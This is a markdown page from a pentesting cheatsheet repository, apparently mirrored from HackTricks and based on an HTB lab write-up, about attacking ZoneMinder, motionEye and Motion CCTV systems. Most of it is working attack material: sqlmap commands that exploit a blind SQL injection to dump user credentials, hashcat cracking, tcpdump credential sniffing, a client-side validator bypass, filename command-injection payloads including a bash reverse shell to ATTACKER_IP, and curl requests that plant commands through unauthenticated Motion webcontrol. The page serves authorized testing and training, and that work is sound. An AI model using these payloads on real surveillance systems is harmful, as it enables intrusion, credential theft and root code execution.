daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

zoneminder-motioneye-motion.md (7547B)


      1 ---
      2 title: "ZoneMinder, motionEye & Motion"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # ZoneMinder, motionEye & Motion
     14 
     15 ## Quick triage
     16 
     17 When a target exposes a **CCTV / NVR web stack**, look for combinations such as:
     18 
     19 - **ZoneMinder** under paths like **`/zm/`**
     20 - **motionEye** on **`127.0.0.1:8765`**
     21 - **Motion webcontrol** on **`127.0.0.1:7999`**
     22 - RTSP / video side services such as **8554**, **1935**, or local image streams
     23 
     24 After host access, the most interesting files are commonly:
     25 
     26 - **`/etc/motioneye/motioneye.conf`**
     27 - **`/etc/motioneye/*.conf`**
     28 - ZoneMinder web sources / config revealing the DB name, tables, and auth model<sup>[[1]](#references)</sup>
     29 
     30 ## ZoneMinder
     31 
     32 ZoneMinder is an open-source video-surveillance platform; its source tree is useful for mapping routes, database access, authentication, and version-specific behavior during an authorized review.<sup>[[2]](#references)</sup>
     33 
     34 ### Default credentials and versioning
     35 
     36 ZoneMinder is commonly worth checking for:
     37 
     38 - **default credentials** such as **`admin:admin`**
     39 - exposed version information in the UI
     40 - local source code / package version to map to known auth-only bugs
     41 
     42 ### Blind SQLi in `action=removetag`
     43 
     44 In vulnerable ZoneMinder **`1.37.* <= 1.37.64`**, the **`tid`** parameter in:
     45 
     46 ```text
     47 /zm/index.php?view=request&request=event&action=removetag&tid=1
     48 ```
     49 
     50 can reach code that safely uses **`$_REQUEST['tid']`** in one query and then later concatenates it into:<sup>[[1]](#references)</sup>
     51 
     52 ```php
     53 $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
     54 ```
     55 
     56 Useful workflow:
     57 
     58 1. Prove injection with a **time-based** payload such as **`SLEEP(5)`**.
     59 2. Check if a **faster Boolean oracle** exists by appending conditions that preserve or break the response.
     60 3. Determine the **UNION column count**.
     61 4. Feed the working shape to **sqlmap** instead of waiting for slow time-based extraction.
     62 
     63 Example from a real exploitation chain where the original query accepted **4 columns** and HTTP **`200`** indicated **True**:<sup>[[1]](#references)</sup>
     64 
     65 ```bash
     66 sqlmap -r removetag.request -p tid --batch \
     67   --prefix="1 UNION SELECT 1,2,3,4 WHERE " \
     68   --code 200 --technique=B --flush-session
     69 ```
     70 
     71 Then enumerate only what matters:
     72 
     73 ```bash
     74 sqlmap -r removetag.request -p tid --batch \
     75   --prefix="1 UNION SELECT 1,2,3,4 WHERE " \
     76   --code 200 --technique=B \
     77   -D zm -T Users -C Username,Password,Name,Email --dump
     78 ```
     79 
     80 This is especially useful when the application provides a better **Boolean** signal than sqlmap initially discovers by itself.
     81 
     82 ### Turning app SQLi into OS access
     83 
     84 ZoneMinder user dumps are high-value because they often contain **reusable operator credentials**.<sup>[[1]](#references)</sup>
     85 
     86 - Identify the hash type first (for example **bcrypt** / **`$2y$`**).
     87 - Crack only the extracted application users.
     88 - Test reuse against **SSH**, **`su`**, SMB, VPN, or other operator-facing services.
     89 
     90 Example bcrypt cracking flow:
     91 
     92 ```bash
     93 hashcat zm.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user -m 3200
     94 ```
     95 
     96 ## Post-foothold: sniffing internal creds with `tcpdump` capabilities
     97 
     98 On Linux CCTV appliances, low-privileged shells sometimes inherit useful **file capabilities** instead of sudo.<sup>[[1]](#references)</sup>
     99 
    100 Check for capture primitives:
    101 
    102 ```bash
    103 getcap -r / 2>/dev/null
    104 ```
    105 
    106 If **`tcpdump`** has **`cap_net_raw`** (or **`cap_net_admin,cap_net_raw`**), capture local traffic even as a non-root user:
    107 
    108 ```bash
    109 timeout 120 tcpdump -i any -w /tmp/capture.pcap
    110 ```
    111 
    112 This is especially valuable when:
    113 
    114 - loopback / bridge services are doing **cleartext internal auth**
    115 - Docker bridges expose custom management channels
    116 - **`/proc`** is mounted with **`hidepid`**, reducing normal process visibility
    117 
    118 Review the pcap in Wireshark and prioritise:
    119 
    120 - **Conversations**
    121 - **Protocol Hierarchy**
    122 - **Follow TCP Stream** on local / container management ports
    123 
    124 ## motionEye / Motion
    125 
    126 motionEye is a web frontend for the Motion daemon. Review both projects because a value validated or signed by motionEye can later be written to Motion configuration and consumed under Motion's own parsing and hook semantics.<sup>[[3]](#references)[[4]](#references)</sup>
    127 
    128 ### Signed requests + client-side-only validation
    129 
    130 motionEye signs config requests with **`_signature`**, so directly editing a captured JSON body normally breaks the request. However, some dangerous fields are only protected by **client-side JavaScript validation**.<sup>[[1]](#references)</sup>
    131 
    132 A practical approach is:
    133 
    134 1. Use the legitimate UI so the browser generates a valid **`_signature`**.
    135 2. In DevTools, neutralise the validator, for example:
    136 
    137 ```javascript
    138 configUiValid = function() { return true; };
    139 ```
    140 
    141 3. Submit the malicious value through the normal UI workflow.
    142 
    143 This is useful when the UI blocks characters such as **`$`**, but the backend still accepts them.
    144 
    145 ### Filename-to-shell command injection
    146 
    147 In vulnerable motionEye / Motion setups, fields such as **`image_file_name`** or **`picture_filename`** are written into Motion configuration and later propagated into shell-executed hooks such as **`on_picture_save ... %f`**.<sup>[[1]](#references)</sup>
    148 
    149 If the saved filename contains shell substitution like **`$(...)`**, the shell expands it before the hook runs.<sup>[[1]](#references)</sup>
    150 
    151 Probe payloads:
    152 
    153 ```text
    154 $(id)
    155 $(ping -c 1 ATTACKER_IP)
    156 $(bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1')
    157 ```
    158 
    159 If the Motion process or hook executes as **root**, this becomes **root RCE**.
    160 
    161 ### Unauthenticated localhost Motion webcontrol
    162 
    163 If Motion webcontrol is reachable and unauthenticated, test it directly:<sup>[[1]](#references)</sup>
    164 
    165 ```bash
    166 curl -s http://127.0.0.1:7999/
    167 ```
    168 
    169 If advanced parameters are exposed (for example **`webcontrol_parms 2`**), you may be able to set **filename-related** options even when direct **`on_*`** hooks are protected.
    170 
    171 Minimal exploitation sequence:
    172 
    173 ```bash
    174 curl -s "http://127.0.0.1:7999/1/config/set?picture_output=on"
    175 curl -s "http://127.0.0.1:7999/1/config/set?picture_filename=%24(touch%20/tmp/pwned)"
    176 curl -s "http://127.0.0.1:7999/1/config/set?emulate_motion=on"
    177 ```
    178 
    179 Why this works:
    180 
    181 - Motion saves a file using the attacker-controlled filename.
    182 - The file path is later inserted as **`%f`** into **`on_picture_save`**.
    183 - The hook is executed through a shell, so **`$(...)`** runs first.
    184 
    185 ### Stored SHA1 hash accepted as a login secret
    186 
    187 If you can read **`@admin_password`** from motionEye config, do not assume you must crack it first.<sup>[[1]](#references)</sup>
    188 
    189 Some motionEye builds store:
    190 
    191 ```text
    192 @admin_password = sha1(real_password)
    193 ```
    194 
    195 and then accept request signatures computed using the stored hash-derived secret. In practice, this means the stored **SHA1** may itself be usable as the **login secret** for the admin UI.<sup>[[1]](#references)</sup>
    196 
    197 ## References
    198 
    199 - [1] [0xdf - HTB: CCTV](https://0xdf.gitlab.io/2026/07/11/htb-cctv.html)
    200 - [2] [ZoneMinder repository](https://github.com/ZoneMinder/zoneminder)
    201 - [3] [motionEye repository](https://github.com/motioneye-project/motioneye)
    202 - [4] [Motion Project](https://motion-project.github.io/)